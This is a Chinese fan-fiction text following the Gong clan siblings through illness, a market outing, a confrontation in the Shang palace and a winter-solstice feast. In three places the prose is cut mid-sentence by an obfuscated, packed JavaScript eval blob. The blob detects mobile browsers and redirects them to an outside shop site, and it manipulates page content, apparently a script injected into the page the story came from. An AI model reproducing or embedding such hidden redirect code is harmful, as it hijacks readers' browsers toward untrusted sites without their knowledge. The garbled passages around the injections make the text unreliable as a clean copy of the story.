宫子羽倏忽顿住步子,只觉得这咳来得蹊跷,榻上之人此刻多多少少变得不太真诚。 他又想起半个时辰前云为衫的话:“角公子的情况比我想得更糟,如果今日来的真是无锋,他绝无半分生还可能。” 而雪长老的评价是:“雪宫百年来从没有人能在一月之内突破溯雪绝,强行运功是有代价的,我看他真是不想要命了!” 代价啊…… 大约是听见屋内动静,宫远徵端着药匆匆进门。 二人都以为弟弟来救场,却见宫三公子二话不说坐到榻前,端着琥珀色的药汤,凝着琥珀色的杏眼:“月长老说,再过一刻,哥哥必须休息!” 这小子终于没在哭了,只在泛红发肿的眼睑下埋着阴郁。宫尚角才刚张了张口,一勺药便被送进嘴里。 那药煎得太浓太急,苦、涩、辛、酸混着烫人的温度,气势汹汹滚进鼻腔,霸占唇齿,淹留舌根。 宫尚角只觉苦不堪言:远徵还是小时候更可爱些。 他抬手想将药碗接过来,宫远徵不情愿地往后缩,宫子羽便趁机向前进:“别逞强,你端不住的!” 他顺着四道忧心忡忡的目光望向自己的手,才意识到两人并非草木皆兵。 角公子认命地将那只簌簌发颤的手垂下、藏起:“任何事情都有代价,我能做的也只是将代价降到最低——我事先说过,雷家的精锐并不好对付,你们必须全力以赴。现在想必已经深有体会了吧?” 雷家堡的火器确实厉害至极,这一战他们虽然胜了,却搭上十数名侍卫,和一长段千疮百孔的商宫外墙。宫紫商已检查过那些火器残骸,发现单单一个部件都精巧无比。所幸雷家人手里只有上半部无量流火图纸,否则真能按图索骥造出这毁天灭地的凶器也说不定。 但这并不是宫子羽眼下最关心的问题:“阿云说你在赌,赌的什么?你的命么?……” 他在宫尚角面前装不出盛气凌人,只能拼命掩饰外强中干和泫然欲泣——那样子,真是怪极了。 宫远徵喂药的手随着他的话音抖了抖,但未曾停留。宫尚角吞着他这辈子吃过最苦的药,想笑又笑不出口。 片刻后,药总算喝尽,宫尚角清了清险些被“毒”哑的嗓子,终于娓娓道出实情—— “我在赌雷家堡和无锋不知道宫门内部的谋划,我们这些人中没有人向外通风报信。那四十一个人没有来角宫,便是最好的证明。 不过云为衫一定会来。她虽知道全部计划,你却没有邀请她参战,她心里清楚防她的人是我不是你。 我赌云为衫一定会出手试探,因为她能单独接触我的机会并不多,她不可能错过这次机会;而上官浅会竭力救我,因为我若死了,她的一切计划都会落空,除非她另有目的。 我赌云为衫能助我速成溯雪绝。无论她的目的为何,但凡出手,必定会用上风氏心法,我破境在即,但身体已经难以聚气,必须借她之力。 最后,不用赌,你们听到响箭一定会来救我。云为衫知道上当,会想办法阻止我破境,我赌的是你们来得足够快,毕竟上官浅不是她的对手,我也撑不了多久。” 熏香袅袅,语声絮絮。 缠绵病榻者三日以来的筹谋,两个亲历之人只能瞠目结舌地听。如上官浅所言,他们只将宫尚角视作亲眷,实际上并不清楚江湖中的宫二先生到底是一个怎样的人。 “……你还是不信阿云。”宫子羽如鲠在喉,将话说得生涩僵硬,“可既然你不信她,就不怕她真的杀了你?” 宫尚角敛眸,自苍白的脸上露出几分或自信或自嘲的笑意:“她不会杀我,她没有理由。如果是为无量流火,杀了我,不但得不到图纸,反而会暴露她自己,你们所有人都不会再相信她。如果她是单纯想看我死,就更无必要,她要做的只是安安静静等上一个月而已……” “哥哥别再说这种话了!”宫远徵猛地从榻边站起,拒绝再听下去,“哥哥拿我们当呼之即来挥之即去的工具,我却不能眼睁睁看着你死!——最小代价不是么?我便要挣个最小代价!” “远徵……” “一刻已到,哥快休息。一切,等醒来再说。” · · · (番外1)糖水 真正的心寒不是大吵大闹,而是一向敬你爱你甚至有些畏惧你的人突然开始防着你。 ——不是像防贼那般防着你,而是将你视作一戳就破的纸老虎、一碰便碎的琉璃瓶。 宫尚角从没想过,一个过惯风雨兼程、刀光剑影的人,有一日要去一趟旧尘山谷,都能让整个宫门如临大敌。 “我太久不出门了,总要去安一安人心……否则雷家堡和无锋只会更加嚣张。”他说着最冠冕堂皇的理由,却在一双双灼灼目光之下越说越心虚。 不过幸好,在花长老的带头首肯之下,在答应了近乎苛刻的约束条件之后,在宫远徵、宫岸角和金复寸步不离地陪同中,宫尚角如愿离开了宫门。 只有一个时辰,他们匆匆路过邸店马行、衣肆柜坊、金店铁铺,率先去了令宫尚角最放心不下的粮店、炭行和药铺。 商行的掌柜伙计见了宫尚角没有一个不吃惊的,但宫尚角早习惯了人们看他时的叹息怅惋,声色不动地避开对他病情的打探,只简单查了查账,问了问榷采沽卖近况,并告诫各位掌柜此际雪患未平,切不可囤积居奇、唯利是图。 离开宫门商铺,再往前走便是闹市。那里酒肆茶舍林立,走贩叫卖之声不绝于耳。 显然,旧尘山谷与外界的道路已然全线畅通无阻。 宫门的马车在这里太过显眼,宫尚角于街口便下了车。宫远徵细心替哥哥加了件黑狐肷披风,让宫岸角领先半个身位开路,自己则一路小心翼翼地扶着,而金复和软轿在他们后方十步远远护送。 宫尚角走不了太远,宫远徵在明显觉察到他慢下脚步时率先停住:“哥要不要歇一歇,我记得前面有一家曲社,我很小的时候跟着娘亲来过一回。” 弟弟很少提起自己的父母,宫尚角有些惊讶地侧过头,瞥见弟弟额边细软的碎发,心中万分犹豫是否应该告诉他,那家曲社的老板早在十四年前宫门大战之后便闭店离开旧尘山谷了。 于本意,远徵也久不曾出宫门,他并不想在弟弟的兴头上说这些话,但眼下,他是真的有些走不动了。 “远徵弟弟还是出门太少了,再往前走该是万花楼才对!”宫尚角沉吟着刚要开口,便听见一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240031|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再熟悉不过的声音插进来。 那声音带着三分久违的慵懒,就仿佛他仍是那个热衷于听曲赌钱、夜不归宿的纨绔公子:“老实说,绿莺姑娘的箜篌我也有些想念了。” “……宫子羽你怎么回事?你刚刚是怎么向雪长老保证的?”金繁一脸怨怼地跟上来,“就不该答应让你跟出来!” 宫子羽于是笑得讪讪:“开个玩笑,开个玩笑,你那么认真干什么!我不过就是怕远徵弟弟路不熟,绕得太远,把角公子累着了又不肯说。” “——是吧,尚角哥哥?” 宫子羽犯浑的样子看着实在有些欠打,不过宫尚角从前不拿正眼瞧他,现在更懒得计较。他也不是第一天没有长嘴。 唯独弟弟红了脸,心里知道这从小就讨人厌的家伙虽在调侃,说的却很有可能是实话。 冬日寒冷,街边的饮子铺搭了暖帘,生着足足的炭火,唱念吆喝几声,顿时引来不少路人驻足停留。 那厢人声鼎沸,宫紫商便在这时如游鱼般从人群中钻出来,朝他们几个招手:“你们这些人,这大冷天干站在街上算什么,还不快进来?” 她穿着浅藕荷色的兔毛斗篷,挤在乌漆嘛黑的人群中间,顿时成为一抹唯一的亮色。 宫子羽本还担心宫尚角对糖水不感兴趣,却见后者已朝宫远徵点点头。他这才拍了拍宫岸角,带头朝那人头攒动的地方走去。 宫家大小姐是饮子铺的熟客,掌柜的自然马上认出这一行人来,殷勤地腾出雅座招待。几人刚刚坐定,宫紫商便自告奋勇介绍起来:“这家饮子铺是旧尘山谷的老字号了,香花熟水、紫苏熟水、沉香饮、茯苓桂花羹都是他家的招牌,不过若说最适合冬日的,还要属沸水点的梅花暗香汤和热蔗汁。” 宫远徵听得直撇嘴,他并不喜欢吃甜的,对宫紫商说的这些一概兴趣不大,被那热情的饮子铺掌柜一再追问,才点了一份麦门冬饮子。宫子羽倒是兴致勃勃地问东问西,最终选了以丁香、肉桂、陈皮炮制的天香汤。 宫紫商本给自己和金繁要了香花熟水,听说店里进了新下的甘蔗,当即给在场所有人都添了一碗热蔗汁。 唯独到宫尚角这里,饮子铺的掌柜犯了难。宫远徵连念了一长串禁忌,什么冷饮子不能吃,发酸发涩的不能吃,凉性寒性的不能吃,与药方配伍相克的不能吃…… 掌柜的汗流浃背地听完,左思右想,才将紧蹙的眉头松开:“小店的饮子汤水里多多少少都加了徵公子说的这些,想来想去,也就只有松糖姜汁合宜,只是不知角公子是否喜欢吃甜的?……” 见宫远徵终于不再多说什么,宫紫商不等宫尚角开口便自作主张答应下来。几个人悠悠地尝完饮子,规定的一个时辰已差不多到了,便集体打道回府。 待他们走远,掌柜的遣了伙计来收桌子。 小伙计没怎么见过宫门里的少爷小姐,一边收拾一边念叨:“大小姐果然还是更爱香花香蜜,你看这甘蔗汁,她就没怎么喝……羽公子不愧是位会吃会享受的少爷,大寒天里喝一碗天香汤,再没有比这更养胃壮阳的了……那位徵公子似是熟悉药理,该是有什么烦心事,才特意点了这专治胸满烦心的麦门冬饮子……咦?” 这小伙计聪明伶俐,掌柜的一边算账,一边听得津津有味,忽闻他诧异地叫了一声,也不禁好奇地抬起头:“怎么了?” 小伙计怔怔指着主座前的两只空碗:“这该是角公子喝的吧?……掌柜的不是说角公子不喜欢吃甜的,怎会将这松糖姜汁和热蔗汁都喝尽了呢?” 掌柜的闻言走过去,也不禁啧啧称奇:“我在这谷中一十八年,不知道见过角公子在这条街来来往往多少次,这还是角公子第一次走进来。难不成这人生了病,吃了太多的苦,便转了性?” 小伙计却忽然老成持重地摇了摇头:“我娘说,人的口味一旦定型,便很难改。习惯吃素的人,吃了肉便会难受。从前不吃辣的人,就算以后习惯吃辣了,也不会顿顿都吃辣。从前不吃甜的人,你就算再逼他,他也不会将这两碗糖水都喝下去。” “你是说,角公子本来就喜欢吃甜的?” “多半是这样。” 15. 二十四·二十五 (二十四) 冬至前这几日,风烟俱净,寒照不歇,于一贯阴云密布的峡谷深冬已属难觅的佳日。 另一则佳闻是,宫门的代理执刃宫尚角久违地现身于旧尘山谷,将近日甚嚣尘上的身故传闻一扫而空。 溯雪绝并没有让宫尚角的身体真正好转,但的确令他危机四伏的病情趋于平缓,多日来的高热症状也一并消失——这意味着他终于不必再槁卧角宫,终日与墨池对影。 至少,现在只要他不踏出宫门,不离开前山,宫远徵就不会再像只惊弓之鸟,对他的一举一动严防死守。 不过说是如此说,真遇事时是另一码事。 “公子,徵公子说,商宫离角宫是最远的,您还是别勉强了。” “商宫狮子大开口,我总得亲自去看看,到底是破烂成什么样,才要得了这么多钱修缮?” “这……徵公子说,您若一定要去,就乘软轿。让他们多加一层暖帘,免得您冻着。” “我不冷,也还走得动。别废话了,走吧。” “可是徵公子说……” 宫尚角人已站在门口,却被眼前人跟座山一样拦住去路:“金复!” 倒不是金复有多壮多高,而是宫尚角如今太瘦了,亏得有一副天生好骨架,加上冬衣足够厚重,才能维持住气势。 “公子您说。”金复不敢正眼瞧他,只顾挡在门前低头抠手。 宫尚角又好气又好笑:“……你到底是谁的绿玉侍?” “这……自然是您的!” “是么?你要不要去一趟徵宫,再确认一遍?” 听话听音,金复虽改不了多嘴的毛病,但绝非不够机灵:“公子,我错了!” 宫尚角一脸无奈地看着“山”忽然跪下来,心中知道这人变得如此婆婆妈妈,完全是被前几日的事吓的。虽然自己已说过多次,以云为衫的武功,他就算没有被放倒也帮不上忙,但年轻的侍卫显然还过不了自己这一关。 “起来,我没生气……不过你再不放我走,我可真要生气了!”角宫的主人连哄带威胁。 “那公子还是坐软轿去吧?”忠心的侍卫不达目的誓不罢休。 “……” 金复将门打开,宫岸角和软轿已等在外面。宫尚角目光凌厉地扫过去,持刀的玄衣青年无声眨了眨眼。 宫尚角叹了口气,终究选择妥协,一面自行上了软轿,一面抬手阻止金复跟上来:“你去徵宫……” “公子!”金复以为宫尚角还在恼他,差点又要跪下。 “……我是让你去问问远徵,今晚来不来吃饭。你告诉他,他若再不来见我,我便直接去徵宫找他了。” * 商宫的外墙看起来的确有些触目惊心。 若非百年前祖宗远见,草创之时耗巨资烧制了一批金石难撼的青砖,此刻的商宫外墙只怕已成断壁残垣。饶是如此,仍有不少砖石在火药爆炸的巨大威力之下碎成齑粉,不时有砂砾顺着墙面落向砖道边的散水,令路过者纷纷缩住脖子,加速通行。 宫紫商便是在这岌岌可危的墙体之下盼到宫尚角的软轿,如释重负般迎上前来:“是我爹非要见你,我实在是拦不住……” 宫尚角从半掩的暖帘间望见她只身一人立在夹道中,立即皱起眉:“你怎么自己在外面?” 宫紫商便指了指商宫的大门:“金繁在门口呢,宫子羽也到了。不过他来了也不好使,他现在不是执刃,我爹说他只与执刃说话……” 轿帘掀开,宫尚角拒绝宫岸角伸过来的手,自己从轿上走下来。 祜蓝大氅衬着一张棱角分明却无比苍白的脸,让宫紫商的眼中除了歉意又添了几分担忧:“你是不是还是不舒服?……我去问过宫远徵的,他说你这几日身子好些了,我才叫人去请你……” “……” 宫尚角现在知道,弟弟为何总能那么快得知他的行踪了。 “下次直接来问我。你爹要见的是执刃,远徵又不是执刃。” “这可不行!再由着你自己逞强,下次真出事了可怎么办?……不是,你别走那么快呀!” “商宫的路很好走,大小姐不必担心。” “金繁!没长眼睛啊,赶紧过来扶着!” “……” 宫尚角简直百口莫辩。 他明明已解释过很多次:他自有分寸,不会乱来。但好像就是没有人愿意相信。 他们该是真的怕了罢…… 从前行走江湖时,他其实不曾顾忌过这些:不必顾忌一战之后天价的修缮款,也不必顾忌自己的行事风格会令亲族如何看待。但现在,一切都不同了。他开始理解老执刃最初不愿选他做少主的原因,也坚定了一个在他心中酝酿多时的念头—— 他其实并不喜欢做执刃。 而那个或许比他更适合做执刃的人,此刻正灰头土脸地站在商宫正堂外的游廊中,看见他来了便如见到救星。 他比宫紫商更早注意到羽宫主人额角的指甲印,但宫紫商的声音已率先响起来:“宫子羽?你该不会是被我爹揍了吧?……” 宫子羽牛眼圆睁,一脸诉不尽的委屈:“老爷子脾气上来了,这会儿谁的面子都不给,我看你们也等等再进去吧!” 宫紫商和金繁应是深有体验,听得俱是一个激灵。 只有宫尚角笑得无畏:“怕什么?他又不会吃了你。” * 商宫正堂的内室燃着极重的安神香,榻上之人却极不安分,听见门口有动静便将一只茶盏扔出来。 到底曾是宫门第一大宫的宫主,随随便便一掷,便砸中了率先进门的人。 天青色的梅花盏瞬间将祜蓝氅衣的前襟浸上一朵黛蓝,尔后坠向地面,奏出几声空灵的哀叹。 宫子羽慌忙上前查看,见那盏中本没有多少水,才松了口气:“大伯父,我和金繁您怎么打都行,角公子您可动不得!” 榻上的人冷哼了一声,隔着纱帐怨毒地盯着两人:“怎么?真病得连我这残废都躲不了了?几个自甘堕落的废物,一个命比纸薄的执刃,这宫门今日便要亡了么?!” 他扯动幔帐,对着两人指指点点,话到尽头,声嘶力竭。 宫子羽往宫尚角身前挡了挡,唯恐宫流商情绪激动中再扔出点什么来。 角公子倒是气定神闲,待他骂完才恭敬见礼,不疾不徐地回答:“老宫主不必担心,一个茶盏还不至于伤到我,我没有躲,也是为了给老宫主泄愤。毕竟,是我考虑不周,才让商宫罹祸。若是还有什么未上报的损毁,老宫主可让紫商姐姐一并告知于我,所有损失角宫会照价赔偿,尽力弥补。” 宫流商便又冷哼一声,但的确已不似先前那般激动:“现在整个宫门,也就你还像点样子,可你……怎么就要死了呢?” 宫尚角拦住宫子羽话到嘴边的反驳,淡淡地笑了笑:“老宫主这就说岔了。您面前的羽公子,是整个宫门数十年来唯一精通雪月花九式刀法之人。远徵弟弟虽未涉江湖,却早已是江湖中公认的暗器和毒药天才。还有您的女儿,紫商大小姐,这十四年里若没有她守住商宫,宫门便如断去一臂,遑论四年前是她与前花公子研制出山摧,才让我们在与无锋一战中扭转败局。 “有他们在,才有宫门在。他们若是自甘堕落,那么无论谁来当执刃,都是个愧对先祖的死局。” 他这一番话说得不矜不伐,别有意味。 榻上的人似是听出什么,撑着床榻,鼓眼努睛,探身向外:“你到底来找我这废人做什么的?” 眼瞧着面前祜蓝色的影子不着痕迹地晃了晃,宫流商终于放缓语气:“也别说我商宫不体恤病人,金繁去搬把椅子来,请角公子坐下说。” · · · (二十五) 商宫的安神香中加的是极品“瑞龙脑”,商宫的茶用的是臻选“蒙顶石花”。 宫门前后山每年开支用度,商宫独占三成,但总在喊穷的还是他们。 这些事,宫子羽也是当执刃这几年才知道,为此没少与宫紫商吵架。但宫紫商又何尝不委屈,毕竟她得先拿出三成来孝敬老爹和姨娘,剩下的才是整个商宫的日常经费,以及研制武器、锻造兵刃的开销。 宫尚角定然对此也心知肚明,所以他坐下来慢悠悠地品着茶,与宫流商有一搭没一搭地聊起了近年来皇室珍藏的名香、权贵追捧的贡茶。那些只在书中见过的风流韵事,让几个从没出过旧尘山谷的孩子听得眼睛发直,包括宫子羽,包括拿着一叠卷宗匆匆赶回来的宫紫商,也包括因好奇而偷偷跟进来的商公子宫瑜商。 宫瑜商今年已有十一岁了,穿得金贵,生得漂亮,听见他娘——宫流商的继室蓉初夫人在门口小声叫他出来,不情不愿地哼唧着。 宫尚角和宫流商的话已被打断,半大的孩子插起腰,指着他的姐姐:“她都能进来,凭什么我不能?……爹,宫门外那么好玩,我什么时候才能出宫门呀?” 宫紫商面上一冷,目光闪动了几下,终究没说什么。 若不是蓉初夫人此刻就在旁边,而屋里还有那么多人在,金繁恨不得立即进去把那坏小子教训一顿。 可宫流商对一屋子小辈横眉竖目,唯独看见儿子露出笑脸:“乖,等你成年了,自然就能出宫门了。来,给角公子和羽公子行礼。” 坏小子撅起嘴,耸着肩:“爹不是说,以后我就是商宫宫主,宫主只拜执刃和长老。我们商宫可是宫门第一大宫,他们一个角宫,一个羽宫,有什么了不起的,凭什么让我给他们行礼?” 这下就连宫流商也笑不出了。 众人皆挢舌不语,唯有角公子嘴角还噙着笑:“你从进门到现在,连你爹都不拜,我们也不指望你给我们行礼。但你可知,宫主为什么要拜执刃?” 宫瑜商不假思索:“这是祖宗立下的规矩。” 宫尚角几乎是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240032|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 循循善诱:“那祖宗为何要立这样的规矩?” 宫瑜商想了想:“因为……因为宫主必须听执刃的话。” 小孩子就是小孩子,好钓得很。宫子羽挑了挑眉,顿时明白宫尚角要做什么。 果然,角公子点点头,顺理成章地说下去:“好,既然你知道宫主要听执刃的话,那现在就跪下,给你爹磕个头。再站起来,好好地给你姐姐赔礼道歉。” “……为什么?!” “因为我说的。” “凭什么?” “凭现在我就是执刃。” “可你只是代理执刃,娘说你马上就要死了!” “瑜商!……” 宫流商终于躺不住了,他在纱帐后挥动着手臂,想把儿子捞过来却又捞不到,只好喊门口的夫人:“蓉初,赶紧把他带走!” 然而金繁早已将掩面失色的蓉初夫人结结实实地拦在门外。 宫尚角仍大马金刀地坐着,发话时声音低沉,却带着不容拒逆的威严:“代理执刃也是执刃,无论我死不死,你现在都得听我的。我让你跪下——现在!” 话音落地,宫瑜商双膝不由自主地一软。半大的小子也不知道自己是怎么了,抬脚想站起来,却被宫子羽一把按住肩头。他怔怔望向榻上一脸懊恼的父亲,又扭头看了看正连连摇头的母亲,终于意识到这次谁也救不了他…… 宫瑜商最终是哭着离开的,临走时恭恭敬敬地拜了一圈。宫紫商神情复杂地看了两个族弟一轮又一轮,最终也跟他们一样,忍不住“噗嗤”一声笑出来。 唯独宫流商此刻面色铁青,半晌才吐出口气,道了一声:“执刃好手段!” “别叫执刃,我只是代理,何况……我不是马上就要死了么?”宫尚角插着手,慢悠悠地补刀。 宫流商认命般地一翻眼皮:“行了,别在我这儿演杀鸡给猴看那一出了!我也算看着你长大的,你什么脾气,我清楚得很。你若不是找我有事,我们就算在商宫闹翻了天,你也不会来瞧一眼——说吧,你今日到底为什么而来?” * 天色将晚,霞光将商宫的玲珑院宇勾上黛紫。灯火穿透池心的太湖石孔隙,折出几缕黄灿灿的暖光。 众人辞别宫流商,离开商宫正堂。 宫尚角不想让人扶他,宫紫商一面慢慢陪着他走,一面仍在心有戚戚:“你让我爹研究雷家的残片机关,还让我爹协助我研制新火器?……亏你想得出来!” “你爹是腿废了,又不是手废了。我看他头脑清楚得很,帮你打打下手不成问题。”宫尚角脸上带着倦意,语气却很轻快。 宫子羽跟在两人身后,一想起他们临走时蓉初夫人咬牙切齿的模样便觉得好笑—— “角公子可真行,你自己生着病不休息,也不让别人休息!你们大伯父年纪大了,身体又不好,还要为这些事操心!”蓉初夫人如是道。 “我看老宫主硬朗得很,定能活过我这将死之人。他不愿窝在商宫做个废人,我这做晚辈的自然要顺从他的心意。”宫尚角不紧不慢地回敬。 宫子羽直到今日才发现,宫远徵那张嘴到底是得了谁的真传。 宫尚角却忽然正色,再次看向宫家大小姐:“十多年前,宫门商宫宫主的机关术在江湖中与唐门齐名,号称蜀中双绝。他那一身本领,你就不想学么?” 宫紫商神色一黯,喃喃道:“谁说不想?可我爹不教我……他说要等我弟弟长大了,再将这身绝学传给他。” 宫尚角笑了笑:“现在他不得不教你了。” “教我?他不骂我就阿弥陀佛了!”宫紫商咧开嘴,露出夸张的苦相,“你是不知道我爹真骂起人来有多凶!他自从卧床之后就一直喜怒无常,有时我都不知道到底是哪句话惹了他!” 角公子看上去十分了然:“所以得给老爷子找点事做,省得他没事总找你麻烦。” 就连宫子羽也不禁赞叹:“奇了,你这招我怎么没想到呢?” “那是因为你没生过大病……” 宫尚角抬起头,凝视着稀薄的天光,再开口时语声淡淡:“人躺久了,是真会疯的。” 余霞落在他眼底,投射出紫调中唯一一抹彤光。 “那哥哥就更该养好身体,别再倒下了!”宫远徵顺着游廊快步走上来,银铃声在他身后响成一串。 他将手中披风抖开,裹在他哥身上,顺便拉过一只手为哥哥把脉。 宫尚角皱了皱眉:“你手怎么这么凉?” 宫紫商笑起来:“凉不要紧,我那里有火笼,还有热酒。既然今日都在我这商宫聚齐了,就让我和金繁好好招待招待你们!” “宫紫商,我哥不能喝酒!” “没关系,不喝酒还有茶呀!哦对了,晚膳也备下了,有荤有素,保证让你们吃得尽兴!” “可是……” “别可是了!有个你们最想见的人,吵着闹着要见你们呢!” 16. 番外二[番外] (番外2)冬至宴 冬至大如年。 对旧尘山谷中的百姓来说,在这数九寒天之始,全家人围坐案边,喝一碗热气腾腾的砂锅雅鱼汤,吃一口味美多汁的新鲜嘉鱼肉,便预示着所有人都能安然渡过这个寒冬,往后的日子也会过得有滋有味。 “这嘉鱼又称裂腹鱼,倒不是鱼腹真会裂开,而是它的两列臀鳞之间有一道裂缝状的纹理。这种鱼只生于高峡湍溪,每年孟冬之后方可捕获,腹部多膏,味极鲜美。方志上说,嘉鱼‘不入浊流,常居石岩,食苔饮乳以自养,堪称水中君子’。”宫子羽站在食案前,如数家珍地介绍。 宫紫商不耐烦地剜了他一眼:“行了,叫你随便说两句,你怎么掉上书袋了?” 她顺手抄起黑釉砂锅内的汤瓢,搅动那诱人的乳白色汤汁。 “别动!”“别乱动!” 桌上的两个人同时呼出声来。 宫子羽望向几乎与他异口同声的宫远徵,知道弟弟定是与自己想到一处。 他心下一动,笑道:“我们先喝汤吧,鱼暂时不要动。远徵弟弟,剔骨这种细致活,可就交给你喽?” 宫紫商眼睁睁瞧着那只五指修长的手一把夺去汤瓢,小心翼翼地在砂锅中打捞,然后将一整条切了花刀的鱼移入面前的方盘中。 “这又是什么讲究?”她简直莫名其妙。 宫远徵却不回答,又将长瓢还给她:“别给我哥盛荤的,葱姜也都挑出去,鲜笋性寒,少放几片即可,再多夹些豆腐和竹荪。” 说完便取了新筷子,闷头认真剔起鱼骨。 这道砂锅雅鱼汤不仅有鱼,还加了火腿、土鸡和猪肚,宫家的大小姐按照徵公子的吩咐认真挑拣,速度虽慢,汤碗却已开始冒尖。 宫尚角望着她那一丝不苟的模样,不禁失笑:“紫商姐姐这是想撑死我?” 宫紫商还未接话,一个束着彩缯髽髻的小脑袋忽从案底下冒出来,奶声奶气地学着大人:“娘说,二舅舅太瘦了,要多吃点东西,长肉肉!” 三岁的小娃娃真是一刻不得闲,她爹爹那厢才刚松手,没一会儿这小人便钻到对面,揪住宫尚角绣着繁复金线的袖子,扬起肉嘟嘟的小脸:“二舅舅,抱抱!” “锦商别闹!你二舅舅病了,抱不动你!”金繁赶紧过去捞孩子,但小姑娘一见她爹往这边走,便藏到宫尚角的袖子后。 金繁只好停下来苦笑:“好家伙,你到底是谁闺女,见了二舅舅连你爹都不要了?” 旁边的宫子羽目瞪口呆:他还记得宫紫商说过,宫尚角以前会帮他们看孩子,却没想到角公子整日一副拒人于千里之外的架势,居然能让这小外甥女这么粘他。 ——毕竟,三岁的孩子,隔几个月不见,连人还认不认得都不好说。 羽公子不甘示弱,把小姑娘从宫尚角袖子下面强拉出来,堆起最亲和的笑脸:“小锦商,我抱你好不好?” 小家伙在他手底下警惕地扭动,金繁眼见闺女已然撇下嘴角,忙替宫子羽打圆场:“锦商,四舅舅抱不也一样嘛!——四舅舅,中秋宴上见过的,你不记得了?” 小姑娘歪着头回想了一下,似有印象,这才不挣扎了,有样学样地朝宫子羽作了个揖:“四舅舅好。”然后照旧回身,鼓着腮帮子牵起祜蓝色的衣摆:“二舅舅,抱嘛!” 宫子羽顿时一脸挫败:难道他这辈子都逃不过自家人的冷遇? 而宫尚角终究是没抵过小家伙的过度热情。 三岁的孩子已有米袋子那般重,他现在确实抱不动她。宫远徵在另一侧忙里偷闲地帮了他一把,才让小锦商安然坐到他腿上。 那刚刚还上蹿下跳、一刻不肯安分的小家伙,坐进宫尚角怀里之后竟然乖巧地一动不动。 宫子羽只觉不可思议:“她这是在角宫吃迷药啦?” “喝汤。”对面的宫紫商已将那碗稍稍放凉的鱼汤放到宫尚角面前,坐下来托着腮看他们,“你喂他。” 宫尚角生怕小锦商摔下去,两只手都环在她身侧:“我手不稳,你就不怕我呛到她?” “——二舅舅,喝汤。” 小小的人儿用双手捧起碗中木匙,将奶白色的鱼汤滴水不漏地送到宫尚角嘴边。 宫紫商一脸欣慰地朝女儿点点头:“对嘛,所以我才让她喂你啊。” 金繁立即明白了妻子的用意,转头也给自己盛了一碗鱼汤,然后郑重举起:“角公子,我以汤代酒,敬你一碗!” 宫尚角愣了愣,将目光投过去:“你这又是要做什么?” 金繁还是不习惯角公子这般看他,垂下眼,凝视着碗中不掺一点杂质的鲜汤:“……谢谢你帮紫商解围,也谢谢你,教宫子羽怎么当一个真正的执刃。” 宫子羽听得气结:“我用得着你替我谢?” 不过宫尚角还是接受了,他的笑蕴在眼底,含在唇边:“那浑小子实在欠人管教,既然该管的人不管,你们又不敢管,那就只有我来代劳了。” 他半低下头,见小锦商仍执着地举着勺子,便就着她的手轻轻地抿了一口鱼汤:“还是这小家伙懂礼貌。” “那是,也不看看都有谁教!” 宫紫商目光流转,瞥见旁边仍在认真干事的宫远徵,恍然明了:“本来我还奇怪,你怎么会带孩子,今日见着远徵弟弟,我倒是想起来了——嚯,他以前那个嚣张跋扈的劲头,好像也没比我那混蛋弟弟好多少!” “胡说八道!”宫远徵剔完最后一截鱼骨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240033|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于扔下筷子抬起头,“我哥可是从小就教了我什么该说,什么浑话不能说的!” 宫子羽也有意逗一逗弟弟,马上抓了把柄:“敢情你嘴那么毒,都是尚角哥哥教的?” 宫远徵恶狠狠地瞪了他一眼,将鱼肉放到一边,独独把装鱼骨的盘子托在手中:“看来这东西你是不想要了。” 宫子羽怔怔地指了指那白花花的鱼骨:“你的功劳,就这么让给我?” 宫远徵便不耐烦地将盘子推出去,仿佛突然之间对里面的东西全然失去兴趣。 宫子羽连忙接过来,受宠若惊地承了弟弟的情。 他随即清了清嗓子,开始向众人解释:“其实这嘉鱼还有一个名称,叫做‘宝剑鱼’。相传女娲补天之时,随身宝剑不慎遗落,被江中的嘉鱼吞入腹中,化作头部一截鱼骨。旧尘山谷中的百姓都认为这截鱼骨是吉祥的象征,吃到它的人会用红绳将‘宝剑’系起来,戴在自己身上或是送给亲近的人,相信它能够驱邪除病,保佑平安。” 宫子羽说着,执了筷子将那截鱼骨从盘中挑出:寸余长的小骨经过沸煮变得晶莹剔透,柄部分为数棱,吞口处左右两侧各斜插出菱形小刺,锷部扁平,锋部尖利,确实十分像一把白玉雕琢的宝剑。 他用茶水冲去上面残留的汤汁,又细心用手帕拭净,然后才将这截鱼骨捧到宫尚角面前:“这是远徵弟弟的心意,也是我们大家的心意,尚角哥哥,收着吧。” “先别急!”宫紫商忙不迭地站起身,“等我一下,我这就去取红绳来!” * 鱼汤暖浓,祛散凛冬严寒。 